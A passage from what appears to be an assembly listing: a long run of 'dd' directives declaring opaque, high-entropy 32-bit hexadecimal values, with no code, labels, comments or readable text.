0A448F784h, 0EDB340E8h, 5100B83Ah dd 0EE76FCBFh, 27DB8403h, 7D40D37Bh, 0DF99440Fh, 47E89443h dd 0C649F5B9h, 7CF5C08h, 8217DA9Ch, 0E5B83BE6h, 49FD8511h dd 0A339DDA7h, 0F9BD640Ch, 6005C837h, 0F79620C6h, 27057728h dd 0A133FE87h, 0B9E6A0Fh, 8923C14Fh, 0C46054CDh, 1FCA9E37h dd 691FED73h, 0D8B516C1h, 4D04A448h, 0C0EE0FBBh, 36BB5E28h dd 7047E275h, 0F4223FE7h, 32048951h, 0A89AF799h, 24AE5B13h dd 7A34CF61h, 0E27140C2h, 5CED892Ch, 9A579792h, 4026F0Eh dd 5227AE71h, 0BF41CBD0h, 43E86C24h, 8533EF77h, 25894EE1h dd 6D0E9D6Bh, 0B35D77A3h, 37D49018h, 725BE39Bh, 0DF876AF0h dd 59F78C5Ah, 0AD83FF97h, 3DA9730Fh, 961EBDA3h, 0E9A141D6h dd 57E5A32Dh, 9B45CFDFh, 0FFAC6810h, 752BBB73h, 0D36515B7h dd 666E8024h, 0AB4DE7A6h, 0E7B25CEAh, 8F06D467h, 0D790BD7h dd 0AF0A7FBh, 5707F0A8h, 5CE1F1Eh, 64E9CDF0h, 0CC77FFE9h dd 1EE15E03h, 90250124h, 0DB993F11h, 66F1A851h, 97B6C8B0h dd 0EA15EF7h, 9325CD6Bh, 0F67D1FEBh, 55E58F03h, 0C44710B2h dd 0EECC631Bh, 46FDB858h, 0FB9628D0h, 3EC0DE1h, 0F197117Ah dd 807C1C02h, 0E434CF56h, 0FF2F3757h, 33AC6A0h, 0B70AB5AEh dd 747E3769h, 0F3B3967h, 8DAABE90h, 59B2B9F6h, 30AF008Bh dd 0D17A248Ch, 1A862F80h, 0A39BC778h, 36514DF8h, 0BE2CB284h dd 89EDBE5h, 53BEABE0h, 0C878C8A8h, 0CC34C07Dh, 0B13F0F2Ah dd 530D9E18h, 6836B9EDh, 26B33BD8h, 33E7FFDBh, 73B1EA0Ch dd 57E25C8h, 1CE24184h, 774DC0FCh, 0E3A95BBCh, 0BD56E6B0h dd 0D1D0F9C8h, 58345491h, 35CB9BBEh, 3A386688h, 0B34906A4h dd 50369529h, 0DC8FCA9Ah, 0F4B52FE9h, 0DDAFA64Dh, 1D6EBF6Bh dd 0B0BEE37Ch, 695F3788h, 151BF36Ah, 0D86EFD6h, 231A5BBCh dd 8530F576h, 41AFCFDCh, 2E4EB5F0h, 26E72BD9h, 75942E86h dd 9EAFFC5Dh, 0ED4C76AEh, 5AEE1E1Fh, 5A3694DDh, 2553C346h dd 0CD2EF443h, 4AEB3B9Eh, 0A76BA611h, 0ECA03089h, 5CA16FCAh dd 89DA06DFh, 54FBCE60h, 9FD51AADh, 4A0E31D5h, 79F209E5h dd 0E4703F28h, 6EBB963Dh, 0AD0C36CEh, 41F18ED7h, 1E0EC718h dd 6C7F26CDh, 7327710Bh, 256A784Ch, 5BDB4428h, 792273ACh dd 0CC7319CCh, 74F868B1h, 0C5D1A7C2h, 488D5A68h, 7DCEF7BDh dd 0C0682EC4h, 0C4031E19h, 0B11A8061h, 4ABE0F60h, 348EB09Bh dd 9E2787E2h, 0B75AC01Fh, 117DFF3Ah, 4A1A8C3Bh, 0A3919297h dd 10E23D59h, 0E2B3133Ch, 950822Ah, 0C512256Bh, 81D27BC7h dd 0BEE1DF30h, 0C743DA07h, 320B3DA8h, 7FCB05D7h, 0FA301F20h dd 0C33AA7BCh, 0A1B2C698h, 0AD35BEB6h, 0EA6ED115h, 87AD36ECh dd 0B9E6099Dh, 86A20944h, 0E558053Dh, 0C91A7494h, 0A618B478h dd 0EE49C59Ah, 72F55EE0h, 0B9204FE8h, 6DBE9B63h, 75154C62h dd 643E81A4h, 0C1CD0ABAh, 65B60758h, 0B64D44EFh, 682E91D5h dd 0A7C60BF7h, 79EA7648h, 8D5FB30Ch, 0CD1E6F47h, 8BE24FFBh dd 0DD62E738h, 152A4F8h, 0D88CD411h, 7D531B3Eh, 39625BABh dd 0A14293E3h, 0B1664F36h, 0B7BA0B5Ch, 0DC7615C6h, 1CB410CDh dd 661F3F7Ah, 5AAE86C7h, 6615B708h, 0FB7171EAh, 8DDE877Fh dd 306C2B3Ch, 0DB7F7163h, 0EF95EDB4h, 0B19E46DCh, 3989D744h dd 69CBCAE8h, 0B10433C8h, 9B293A60h, 0F27AD508h, 0DBE2C753h dd 2C224FF1h, 0FAE559Ch, 0E020863Bh, 0B2FB953h, 0D1655C84h dd 0C4C3F8Bh, 3753798Fh, 89E3F4B8h, 0BD6CEEC2h, 411B5CF8h dd 544A9BEBh, 0C5A09795h, 211B221Bh, 7D2E1FD0h, 908C3B2Ch dd 0BBDF9903h, 69F68454h, 0BC6EBF0Eh, 203297A0h, 0CBEA3113h dd 0BE8FA244h, 0D2CDBE2h, 0C91E2907h, 9AD021F8h, 0C60B1D33h dd 0FD3C9454h, 26957449h, 75940768h, 8588421h, 0FCFE138Eh dd 0A9F93E14h, 55321258h, 0A172C313h, 0CD1985B2h, 99C8BBCEh dd 56A57B49h, 0E7E2B304h, 132D64E0h, 422AFDFBh, 7812AFAh dd 3F98D679h, 0BF71AAFh, 2ACA411Bh, 0CA8B8672h, 0F13857D6h dd 0BC3D3647h, 69BA3EDFh, 0A1F15418h, 4B326DEEh, 9DF21790h dd 0CDAFB4Ch, 41542CF9h, 0D54D7396h, 9CDE2F80h, 499A3EBFh dd 505D0F8h, 0B79163B4h, 0B3954DC0h, 392D5825h, 3BC797E8h dd 0B6EEA7ACh, 6D359351h, 9B6CB1Ch, 0F18AF623h, 257536CAh dd 0CAAEFF50h, 394ADB07h, 0BC4554E8h, 28D57F27h, 827E1BD4h dd 70982CE8h, 59028F98h, 0B75114A7h, 6C886F2Dh, 3732C8C5h dd 0B406B2E1h, 90D25973h, 0FCBCF20h, 57CDDE2Ah, 0B8F679ADh dd 0B1625314h, 1D751760h, 0B06E7BCCh, 0F4BA61F1h, 0E8A2CF63h dd 332D16Bh, 355AE8BCh, 0FE8D1642h, 2F5E33B7h, 0FDF6D0F0h dd 0EA8A5BAAh, 0A4F64937h, 3F6EA997h, 84A90CE0h, 79FA55A1h dd 96825065h, 0F2A191E4h, 0B804F4F1h, 956F3B9Eh, 87111264h dd 2962BDD9h, 0FCA1EF7Dh, 8ADAF58Fh, 4670A64Fh, 0F45FA41Ah dd 1C0AEE11h, 50A985Fh, 0B0AFE67Eh, 0F43BE214h, 62813B50h dd 69F000C1h, 266A7D9Dh, 6BAB83D4h, 9DEE4088h, 9493F349h dd 89F3E68h, 0CE965426h, 0B8690D39h, 40DF6A56h, 3C0A2E25h dd 8D422F39h, 0AF9D5FC6h, 0A6670E42h, 0F514AE16h, 0CCA8C829h dd 0B13F0F2Ah, 0ACC7F218h, 0EC738ABFh, 0A1CA437Ah, 0A0AF3AC7h dd 45307E39h, 9A583891h, 34B96840h, 7C2FCA8Eh, 0D8B637DEh dd 64F2915Fh, 0C47E12A5h, 22C06D1Bh, 9600C786h, 0D49D26D6h dd 4905B74Eh, 9F63EBB0h, 353A59FFh, 8A13B577h, 0D48F3BC8h dd 1D70BF3Ch, 2062CBCCh, 7BDC3CEh, 6BC0CF61h, 0FB7C14D7h dd 0FF1A8F2Ch, 650FE6BFh, 0E5B03BE1h, 68FAB957h, 0F63B28A2h dd 2FD23736h, 51400C6Dh, 0DFA541BAh, 76049850h, 65B60740h dd 86F18814h, 0DD5C6952h, 8697B84Eh, 0C4A6F772h, 0DF8B2977h dd 0EC46B0C0h, 8F04FF70h, 10585CBDh, 65F9A3E6h, 0E73939D4h dd 80E89C0Eh, 0B267AC3Bh, 0FF2E4D7Fh, 0AFCCC6A0h, 0C620A8ADh dd 3CDF4C9Bh, 5EAF8306h, 9D1C522Fh, 0A3F08492h, 0AC018Ch dd 98047413h, 75867FD5h, 0CCD77E21h, 94E8B0Ch, 0C9AA9F67h dd 0B0CE1F70h, 75B89A6Eh, 2446E3ACh, 0BFEBBD17h, 617E0660h dd 2B643A17h, 0F3C10205h, 18F22DC9h, 0DB166EA0h, 0F1872ED6h dd 0D52677CDh, 48A36D31h, 9184BE71h, 705A6FB8h, 9B3FF923h dd 37537B74h, 4336EA91h, 0A74EFEh, 0ABF8862Bh, 0F679E264h dd 63937F9Bh, 3A893CDCh, 56459747h, 0F325A6A3h, 0C56ED1F5h dd 0D92A7BC1h, 0E7A166D3h, 8DC00111h, 4C5EEBB4h, 0F713D54Fh dd 85D04F78h, 0F4A7E334h, 6BF5AD60h, 0B949F5C0h, 6331F238h dd 0BA829D39h, 2357515Bh, 1E294E9Ch, 7BBDFCDBh, 0E5F53C14h dd 8E2E91B4h, 0A460C855h, 2D17F772h, 1162B308h, 0E6A02433h dd 0FE312BAEh, 1BBAD58Bh, 0AE89FBF4h, 42C6A11h, 47C838EFh dd 0B836D728h, 0FF502E87h, 42814FA0h, 69F0FD3Fh, 26901BC8h dd 49E4833Ah, 1DEE3F8Eh, 5D808895h, 0D5E1B732h, 564440FAh dd 83D477F3h, 4744193Ch, 0F3B11C7Bh, 8F4663A6h, 0AF9D4FC0h dd 0FDA468B5h, 246E97D2h, 0BFEE2117h, 40395160h, 297AD506h dd 0E53693C0h, 68230E94h, 2FDF360Dh, 4D367726h, 6B9192C8h dd 4E23D59h, 4D9EF298h, 52CD30FCh, 6E1659B0h, 75D4C8FFh dd 136DF5Ah, 11A74EFFh, 0B50657ACh, 3A00CC15h, 5B2A14D2h dd 0E9864F20h, 0B084DCE9h dd 21350386h, 1F994301h, 0B19B7BCCh, 95E63783h, 4AB780CFh dd 9A95AF0Ah, 0F7165D67h, 1AC94F78h, 0B613C66Dh, 0FD3C6B0Eh dd 0A98E5EACh, 0F6C61766h, 31814310h, 0EEA663E0h, 0D0FA4B9Bh dd 7B9A05C3h, 0B1364414h, 8D2E7FCFh, 99948701h, 77111216h dd 8E62BDE0h, 0DAA93880h, 89EBB354h, 9B21A238h, 0AC52CDE9h dd 0A481DE0Eh, 79CA0556h, 0BAF90053h, 0F13875C9h, 0BB69FA50h dd 0E6BA1548h, 9EF2D258h, 6C3283D3h, 9D773BD0h, 0D6372B95h dd 1574B161h, 0A773F086h, 37DD2F8Ah, 0A399113Ch, 0EFE1E2F6h dd 44128DB0h, 1D3AA58h, 398ADC4Ch, 98B12475h, 1B021D9Eh dd 0ECEFDD50h, 17B6D1AFh, 0E4760CD8h, 0A1F10317h, 0FA617C50h dd 0AA6AE5F6h, 3F679FD0h, 0FDBAF69Dh, 0AB9EEF40h, 35E1C511h dd 3A7BBB94h, 81A84AFEh, 3B172CA3h, 0FAD99BBEh, 64107B50h dd 495588BDh, 977EC102h, 0E94E73DCh, 58484798h, 95A8904Dh dd 61F1BFFAh, 46B587F0h, 95F41278h, 5B58E674h, 213AF375h dd 0CB220B7Bh, 0BFE828BEh, 44CCF132h, 52AE3E5h, 7A177C2Ch dd 70F51F88h, 892AF68h, 0AAC15FAEh, 0A9305F70h, 65B62340h dd 4F90A014h, 0BD549F78h, 0B6C45BA6h, 7DBCDC63h, 0F14AD09Ch dd 17285EDBh, 0A928F435h, 0BAFB3A38h, 128CA36h, 0BD72A32Fh dd 79B41B6Ch, 0E4378A78h, 0FF2E7D57h, 3581C6A0h, 83BA156Fh dd 7FA618h, 0C9E1789Bh, 9DEE3F8Bh, 53CE186Eh, 0AAABEA08h dd 0D1587A06h, 5DE2F3FDh, 4842F211h, 8256A7F8h, 0AF00F42Fh dd 5C9F5270h, 7A6E59Fh, 0A3061CE8h, 0DD75C8D8h, 0F0BE0124h dd 178D537Fh, 62A987D8h, 0A1082561h, 5D98B925h, 0E01B853Bh dd 0B2A6553h, 914AB284h, 0D80D0A82h, 0D5CD3066h, 1516598Ch dd 0AE30917Fh, 4E367F40h, 9AA74EF2h, 0AE274AD6h, 0DCC19EEFh dd 58C34636h, 35F51096h, 0F8F679ACh, 4C077EF8h, 92636E77h dd 0D900AFCEh, 0AABB9408h, 5DA1F316h, 0C22E0716h, 56576BBCh dd 85041EC2h, 37C388B4h, 514E9F1Ah, 0D88D969Bh, 75C6297Ah dd 0EF82D324h, 23545E5Bh, 0A1614B9Ch, 2CDB822Ah, 4F656B97h dd 0DD2E7FD0h, 952C100Ch, 14A00448h, 0B83F05E4h, 0F3C38F12h dd 6701CF9Ch, 4B6C8D3h, 26E98FD4h, 0AC3A3F8Bh, 0DAD3A4Ch dd 5618B543h, 0F62130B8h, 0CD1E2F96h, 49072B3Ch, 2893CE5h dd 4052B137h, 0C24A0DAFh, 53B51C26h, 7A3ADC56h, 0EE7E3FEEh dd 46029E4Dh, 0B939135Ch, 26766008h, 5EF2BF5Eh, 0E0692FD8h dd 45F87C40h, 0A957B7CCh, 1AA66503h, 8DD8B272h, 0F884D0F7h dd 3DD77B37h, 0C157D57Bh, 3D925BEFh, 39019C70h, 0F58221A7h dd 39C78C2Eh, 737E0B8Ch, 0E73A39D5h, 63F19046h, 0CAB21298h dd 26AD7250h, 0F3559180h, 0E7A13FF1h, 43E1F347h, 9C55AFBBh dd 75AAF0Fh, 8311B066h, 81BF32B8h, 42D19A4Dh, 0A5719BEBh dd 0B5B760A8h, 6EFDCC58h, 0C1A5CF1Fh, 1DFA7ADDh, 6631DB97h dd 0A85DBCA1h, 0D8B23ECh, 0A9B06783h, 85240B75h, 4BDBFC55h dd 14CDB57Bh, 49E82432h, 0C73DB491h, 0A37BE3CCh, 15E60E9Eh dd 4713237Bh, 55A6F748h, 1162B304h, 0CD1E6FC0h, 89DA2B7Ch dd 4596E738h, 152A3F4h, 0BD0E5FB0h, 79CA1B6Ch, 3586D728h dd 0F14293E4h, 0ADFE4FA0h, 69BA0B5Ch, 2576C718h, 0E13283D4h dd 9DEE3F90h, 59AAFB4Ch, 1566B708h, 0D12273C4h, 8DDE2F80h dd 499AEB3Ch, 0ADBAEF57h, 175E254h, 7DCEF191h, 4E38A9h dd 0F44697D2h, 36169235h, 24C3178Dh, 797BC5D1h, 9124B5Dh dd 93EE01B9h, 65700657h, 5BF3C759h, 0D1685ED4h, 6822A00Bh dd 0D225EF4Ah, 9507E40h, 7976CDDh, 0A2F9815Ch, 0C58EE36Eh dd 0C76EEB6Fh, 0B5A2BFA8h, 91DA1364h, 0BA7ECF20h, 0D75B605Fh dd 8DDDA098h, 2133F7C8h, 0BC5B1D0Ch, 0E7071B4Fh, 5E33F688h dd 2DF26841h, 1DFFAF0Ah, 40567BA5h, 89AEA678h, 0D609CD52h dd 0FD3C7E53h, 0C50A5129h, 78983E63h, 77FDC372h, 0CB775764h dd 55FA6119h, 40A88254h, 31C4E611h, 0FCA3B2E8h, 0B4386255h dd 8BAB3BCBh, 0DC63DB04h, 52A3AECCh, 89D0FE20h, 14366C71h dd 152A3E6h, 0D9B65FB0h, 0F4CA1B6Ch, 2B4B77A3h, 3FB2ABE4h dd 0C566FAA1h, 0ECBA0B5Ch, 3B5B67ABh, 0E90583D4h, 80E5AC07h dd 0BD53FB5Eh, 440644F9h, 58E37396h, 83B3D3FBh, 0E92D743Ch dd 9D5699C9h, 0C11263B1h, 80FD89Dh, 398A5B99h, 12DEC5E8h dd 0B42FD67Eh, 0A3D353CBh, 0ACD0CA1Ch, 0E436932Eh, 0A1F13E18h dd 4DA87E50h, 0DEEEBE0Ch, 502677C8h, 0B9B22742h, 0CB359F8h dd 301E28F9h, 0B176782h, 1CA99C4h, 36BADF97h, 8578546Ch dd 661F17A5h, 0F2C1CBE9h, 0CB39A3Fh, 25310CA5h, 7AF6935Ch dd 29CB4C40h, 2C68088Dh, 0D92A2645h, 0FD655988h, 58D402DEh dd 0D5E467Bh, 0F39B95BCh, 0D1DC78h, 432BF3FAh, 0CE4F9565h dd 3F5C83DBh, 0EAC7F299h, 317896E8h, 0E5FE1433h, 257E4EC1h dd 34B60758h, 4F7FFFC7h, 9296AFD0h, 9C07AE56h, 8BAB3BC3h dd 4DE52604h, 0D01EA1C1h, 0C2B0780h, 70C7E578h, 0A44A4DFDh dd 0DDD5DFBEh, 55EEDC19h, 196A0024h, 0AC26870Bh, 2E65E660h dd 0D48F0E01h, 0A65C3B4Bh, 47F5DBC9h, 1E1C1355h, 0FA835491h dd 967CCBF9h, 1E449D59h, 0EBCA314h, 91C15A21h, 865C5B85h dd 99A9C8E9h, 0FEDC335Dh, 16A795B1h, 763CEB07h, 0CEEF2379h dd 0ECBCC3FFh, 17B767AFh, 364D5ED8h, 77BF660Dh, 86BABDCDh dd 0E0872DE5h, 0D9807805h, 9EB20B3Ch, 0E2265A01h, 9508512h dd 0AD45DF52h, 1D128172h, 2330DD2Dh, 0A150C141h, 64116C50h dd 798492BDh, 3268A099h, 9662F324h, 0EF7642E9h, 11AB3251h dd 7E9BD60h, 732AA5EEh, 0EDC01A6Dh, 0EB22897Ch, 7D5624FDh dd 0B62213CBh, 867E6209h, 0BD92E334h, 0AE51B3BEh, 54D48D4Ch dd 0DDC1FE92h, 0B182D324h, 30D3AD35h, 9196B817h, 1C8F0762h dd 90330985h, 0B366FA4Bh, 99EA3B8Ch, 95110250h, 1F5B9343h dd 0C3F6EC3Bh, 870D2C7Ch, 2A0DF4D2h, 7E68B299h, 0BDFC2723h dd 17D0486Ah, 0D061E82Bh, 0F23D2DE8h, 95A7717Bh, 10B75EC8h dd 9E62069Dh, 0F3FEB67h, 34AFD690h, 67827ECFh, 1566B708h dd 91B566CCh, 0B548DB7Ch, 30D77EC8h, 0D4FA3C7Fh, 3EA863A6h dd 7DBCE7E3h, 308E882Bh, 0D0487ED7h, 8043AA64h, 0A3D68ADBh dd 297ACB1Ch, 5F137BE0h, 0CFFABC17h, 680EC050h, 56F3C06Eh dd 3DB6DEA2h, 1A65A9EAh, 0E9E2148h, 0E85DA25Ch, 2014F054h dd 0EC786361h, 2106CD85h, 544A9865h, 9D7DDC2Eh, 29C61376h dd 0D8766F5Fh, 84361B99h, 5EA9B8h, 4C4B1D54h, 556A9517h dd 20BE9424h, 67E2C479h, 6F9A5303h, 0B31E28FBh, 791B1251h dd 87308DE8h, 6D92BB0Ch, 0AFCA2AD1h, 0B17449C0h, 0A852FF40h dd 0FBB056FDh, 328ACEEEh, 0E2EE11C6h, 10624D2Ah, 25C6F98Eh dd 0E91A35F2h, 8D7E8156h, 927F10F8h, 5ABB7854h, 9247E450h dd 0CA83432Ch, 0B1397475h, 0B052CDECh, 0D306DA2Bh, 79CA1B6Ch dd 0A587ABA8h, 6EF7E9C4h, 0AD0C3711h, 61BA0B5Ch, 0DADECAE4h dd 8C321759h, 2C6992C1h, 5CAA2554h, 1465B708h, 0D1229E48h dd 0F786DF80h, 0E11574D1h, 555699C9h, 4A6BF9DCh, 93C37B13h dd 0B00D062Ch, 0F846A9E0h, 0FD0253A4h, 0FC39424Bh, 297AD504h dd 393587D8h, 17B15B97h, 865ECA71h, 96F362A2h, 0D5345270h dd 0D9FBE609h, 4CEE9CB7h, 0C1E1AB2Eh, 69F3DFCCh, 742B4D2Dh dd 94F78170h, 0C7621E6Fh, 0B50656A8h, 0BFC09F64h, 63964C9Bh dd 0E6AE0BDCh, 0F49C8500h dd 0BD976B4Dh, 0F017E187h, 2893D50Ch, 0CBEEC203h, 51A2F244h dd 43892300h, 0F712F03Fh, 8A41A778h, 7820E55Ch, 0DAAA37D1h dd 999A8E35h, 0A44FA990h, 8F6972FDh, 0D329BA28h, 24A3BCF1h dd 7B9E92C3h, 9024EE14h, 0DD2E7E0Eh, 71DE288Ch, 0C46B143Ah dd 81BA9654h, 0F333DA85h, 67ED3E24h, 0C02F789Dh, 71D51ABDh dd 0E80E31D1h, 7D92A4A4h, 1DFB5CD1h, 0F14393F6h, 0DBCA4FA0h dd 5147880Dh, 2576C722h, 3067DD4h, 7573C439h, 59AAFB5Eh dd 1A31B808h, 680DC16Ch, 1C5922C1h, 499AB564h, 1952A7F8h dd 0F70D3BB7h, 2FBAA51h, 39A0D3A5h, 0F54697E4h, 101A3EF8h dd 25933AE2h, 61F88BF3h, 0A52E3F7Dh, 598B3F88h, 417C7FBh dd 90ED26A1h, 0CD264900h, 1EE23384h, 0DAF16F71h, 95A7524h dd 906EA944h, 0F9DF862Eh, 8675C747h, 0C1D1F8E2h, 59465792h dd 0FA250961h, 0D87EC1E8h, 63E41C4Ch, 0BBDED413h, 0A1425954h dd 0F5F54406h, 0B7947BDEh, 8C29D540h, 1FCA66C7h, 0D5EBF00h dd 791F77BCh, 0CD348DBFh, 0ACB8C7E7h, 10B837A0h, 0FE91C26Ch dd 759432F4h, 49FF50F5h, 0ED5E8FAAh, 0A2ED4B9Ch, 0EAB0DFE8h dd 2188AB95h, 5EE6E126h, 106DA64Ch, 15A6C980h, 9D62B304h dd 0B55AEFBDh, 0B15F8872h, 0A074E702h, 0F8BA487Bh, 14775FDAh dd 47E29EEFh, 3586D728h, 813920A4h, 34794D50h, 0C3BA1544h dd 2DEB4C61h, 0E1B28306h, 0A8593F90h, 0D6B4B3DCh, 15748F90h dd 0EF4DCA2Ah, 0C4D66008h, 77926EBFh, 555A7F8h, 3114CFB4h dd 5291587h, 0F98AC5F4h, 5A409604h, 0B1F81B2Ch, 251C667Ah dd 0A6EF9B9Bh, 0E524BF59h, 0A1F24194h, 0A55AFDFBh, 21F25802h dd 708477F2h, 6896B80Bh, 0E9F6EF4Ah, 0A45AAB14h, 8D8BECC1h dd 81CA2366h, 0EBADF30h, 0A58C04h, 3481AA59h, 71C2DD7Ch dd 0A27ECF1Ch, 0E3F21BD1h, 0BBDED013h, 0A60B5954h, 0F5F344B9h dd 0D12A7BDEh, 0A6B13788h, 0F1237B66h, 5E554F6h, 64C06BEEh dd 20706745h, 2ADA3D47h, 86A995F8h, 790A4574h, 0DAC01684h dd 31789BABh, 720BE6FAh, 0A9306315h, 65B61758h, 61F12BF6h dd 21AE7E7Ch, 124D4184h, 3BA6C980h, 8E18A669h, 0CDEC9733h dd 0ED9A5311h, 0CA03A249h, 128CB7Dh, 7D0E5FB0h, 295A2400h dd 1D035C26h, 409C93F6h, 0E316CA1Bh, 69DA0B5Ch, 0FAF47718h dd 66367FD2h, 27889C1h, 598033CDh, 44CA448Fh, 3C887396h dd 42D91B00h, 0C99A3B3Dh, 5F96E239h, 0F89ECCDCh, 0C49B251h dd 398AC5F4h, 9B4697A8h, 0FEF16D3Ch, 53E5835Eh, 23925B71h dd 0FB1E1053h, 0A4D28394h, 797AD7A6h, 91BA2ED5h, 0FD9BFC31h dd 11E23356h, 4F29EF40h, 0A6E425ACh, 0C5445F31h, 3552BA96h dd 0CD8B742Bh, 171BECh, 901EFDE8h, 0C06F16C0h, 63964A9Bh dd 0EA3A8BDCh, 35EFBC98h, 0E035F994h, 876ED1F8h, 61507E21h dd 3AE0F705h, 51D8FBC5h, 0EAE46DAh, 409DF652h, 85D61950h dd 0EE92E134h, 8CC93201h, 0B90A4574h, 2AC61B68h, 3BC2231Ah dd 2356085Bh, 1F9DD19Ch, 26B63970h, 0D9D8D374h, 2DD7006Ah dd 29F2A28Ch, 0CE21FD08h, 7B62BDDCh, 0C5A3F489h, 89DA2BAEh dd 3581E740h, 0A9D34B16h, 0D596C4A6h, 0D4B01B3Eh, 2D9FD898h dd 6E3C4B74h, 0AD0C3718h, 0E03D56B2h, 2576F930h, 923293D4h dd 0C30914BBh, 53427AD4h, 4B6E3FA3h, 0A4BB4DC4h, 0AC5C5C0h dd 4990BEC8h, 0CDCB2C81h, 0C11263A6h, 7C791F90h, 2473867Bh dd 0FD3D2F82h, 0C97AB0AAh, 0D17E0F2Ah, 0A11DD119h, 4B36B9F0h dd 357D1C39h, 0E7AE1131h, 7DCD41CBh, 0BB2649F9h, 93AAC3E9h dd 437672BBh, 860F11FCh, 0C5445F39h, 82D22371h, 0C23BBD1Ch dd 0F9609365h, 0B90657A8h, 0EE77FD37h, 2D8CB791h, 0EC3A8BDCh dd 298E4C63h, 49FFA64Ah, 0BC630565h, 0E1B7F81Dh, 95E637B2h dd 5416EB44h, 44C86890h, 0F712EE3Fh, 85D62778h, 0B1724FB4h dd 84C975E9h, 7A0A4574h, 0EEB90D88h, 3382AF2Ch, 2356123Bh dd 0AC5E0B9Ch, 0B24BD8h, 0FF0C64C4h, 0E78E4A38h, 0A7C2B62Fh dd 0CC3F9948h, 0DF8A2687h, 0CD1E8FC0h, 0F82BB77Ch, 1BBE72B3h dd 152A3F4h, 1411F3D0h, 79CA1AADh, 0A581AB28h, 44DBE954h dd 3A871215h, 69F01EF0h, 0E6ED883Dh, 0EBDAF3D0h, 7326C20Bh dd 0D63FA14Ch, 15748F89h, 0D16273C4h, 5FC2B4Ch, 0C6A4AA8Ch dd 5849F71h, 393859D9h, 22D8BF51h, 39A0D3ADh, 7AD33E82h dd 0B1F81B2Dh, 6EBE0F5Dh, 0A6EF1AD0h, 0E524BF59h, 0C1F24394h dd 0A41BFCFCh, 196ABB09h, 65B67CB4h, 1C530AEAh, 0B91966F1h dd 245A7525h, 0D1CEF000h, 0FEE75C61h, 3D7CA7A1h, 0F9CA9BECh dd 3A7961D3h, 71B8DBE5h, 0AD3EC796h, 91AB8A83h, 69A94B1Bh dd 22B21378h, 0A81EB7B0h, 0B7305A61h, 0FB260840h, 0D84ACDA9h dd 0DB60780h, 0AA1C6BBCh, 0E01E8E92h, 3FA59CB7h, 0BD3DE74Ah dd 7C9AC2CEh, 141A4CEh, 829D3Ch, 23560A5Bh, 0A9FA4B9Ch dd 9CB4FC48h, 8C9AEB39h, 0C5FFF6D7h, 49D3B3A1h, 843284CDh dd 7E61B3D6h, 0CDEC9A2Ch, 4563047Bh, 920DEB14h, 128B31Bh dd 0DCA6AC25h, 0F6F31B3Eh, 3554F2B4h, 9BF1035h, 0ADBE4F6Ah dd 6B2E0B5Ch, 67CF9F61h, 30E883D8h, 7CB2CC0Dh, 50AAFB5Eh dd 15657084h, 0D11DCBC4h, 52272F80h, 7D5D2D8Ah, 496C95C5h dd 0F8129780h, 93C729FBh, 0D90D642Ch, 0C846A9D9h, 0B4EE7B29h dd 950F3A08h, 41AE0A91h, 0B45BFCB8h, 0D8B2D019h, 6087FF3Ah dd 96F1BF4Ah, 0D5345224h, 1ADA7181h, 437347BBh, 218B32FCh dd 0C596D6C9h, 0FAEA2374h, 0C843EA9Bh, 0C7675B37h, 121E09A8h dd 0FC6F16B7h, 63938F8Bh, 0E18412DCh, 0C0EA8D95h, 5E09821Eh dd 1ECE3701h, 55377BCCh, 95E638DEh, 28668041h, 825FAF0Ah dd 0C9103E40h, 84AE23DCh, 419281B7h, 10C1CF0h, 808ED881h dd 7BC71752h, 0FE1C6B54h, 0AABFBA61h, 0A9305EDCh, 70AFFC58h dd 0A46FB7D5h, 0DD2E80D5h, 6C13F61h, 55B4D288h, 125D300Dh dd 521F6FC0h, 89D0FE00h, 54BE68D2h, 0B5D596D7h, 480E5FB0h dd 3CF3192Ch, 129E8714h, 0AEF9637h, 0E3130FE3h, 53D0E5Ch dd 2876C718h, 0F3F3F57h, 21693E90h, 0D4AA2555h, 11239E08h dd 0D1DDF1CDh, 54B72F80h, 51BEE34h, 8856A7F8h, 801361F4h dd 1491E7Ch, 6B8AC5F5h, 159172B8h, 88021DBDh, 0A3D7F9CBh dd 69FD011Ch, 0E5A30CD9h, 35C94394h, 39AEFF50h, 85EDBED5h dd 552677C8h, 0EDF205Eh, 4D9EEFB5h, 24596571h, 0DDE65B75h dd 38DF8FF0h, 5C4E2C57h, 881D9BBEh, 0A442DCA5h, 0EEC31376h dd 2D8CBA9Ch, 0D0260853h, 0A56F47A2h, 98168089h, 25E0BFFAh dd 0E0D2F8D1h, 0EEB837B2h, 51A2F31Fh, 352B1DD0h, 0C91A6BC5h dd 0BAF1FBh, 4494FA73h, 82478F2Eh, 0B9204E48h, 0B9472313h dd 0B8715614h, 0CE32731Ch, 203B42B1h, 7B9BABD3h, 0CEEB6314h dd 0DD5C8A4Ch, 60FD1164h, 553D98B9h, 9EE2B304h, 0D9DB86B2h dd 48D3346Ah, 1118F240h, 4A5F06ADh, 1B80E4A1h, 3D53CE75h dd 0B4E35804h, 4842930Ch, 98D3FAA1h, 45048C9Ah, 8576C7F8h dd 6C72721Eh, 226B6384h, 59802E88h, 449E3C8Fh, 2A9D7396h dd 8DDE47EDh, 701E6839h, 6AB4A7C2h, 0FFEB9517h, 0A8DA5D6Dh dd 7750DF6Ah, 76037F1Dh, 0B10253D8h, 6DBE0F5Bh, 0F0F60593h dd 0B403C60Ah, 0CFFBB927h, 5C16C050h, 1A643805h, 0A95677C8h dd 0A8BC4B2Ah, 48C88401h, 49DDAB2Eh, 0CA8E7269h, 29D22373h dd 9C4304F6h, 0F94AAC04h, 0E9A106A8h, 4EDEAC26h, 0A25FF4CDh dd 12AE740Ah, 3A9B4757h dd 61C8E6ACh, 0F8A434B1h, 56B17BDEh, 95F412E8h, 51A2DCECh dd 0E179FE00h, 0BD921Bh, 9731D181h, 0F1A93BE1h, 53F5AD40h dd 0D86DFFC3h, 8DF31703h, 8AF6C49h, 0ED3E9E78h, 7BDD7A9Ch dd 0C462F6B3h, 13A26002h, 8915D167h, 998D16EFh, 0AE991F11h dd 3BA761Dh, 201E6FC0h, 6CF9E95Fh, 0F5861CDDh, 2AE87C22h dd 0A22B0484h, 8932666Ch, 0CD8B32D0h, 0F14293DCh, 15BF744Dh dd 861FED7Bh, 0FEA232DAh, 53E2AC36h, 0C95511A7h, 59CD562Fh dd 0ED995F51h, 0FD72B65Dh, 8752B4F3h, 0A544EB6Eh, 3C554D28h dd 0BCA8F0EDh, 99551F9Ah, 0BFD0E10h, 0CF46A9DDh, 0DD6DC864h dd 3DBE0122h, 96F7FBECh, 0E524BD4Ch, 9DF2447Ch, 5E983350h dd 79DD2E3Dh, 0A92649F9h, 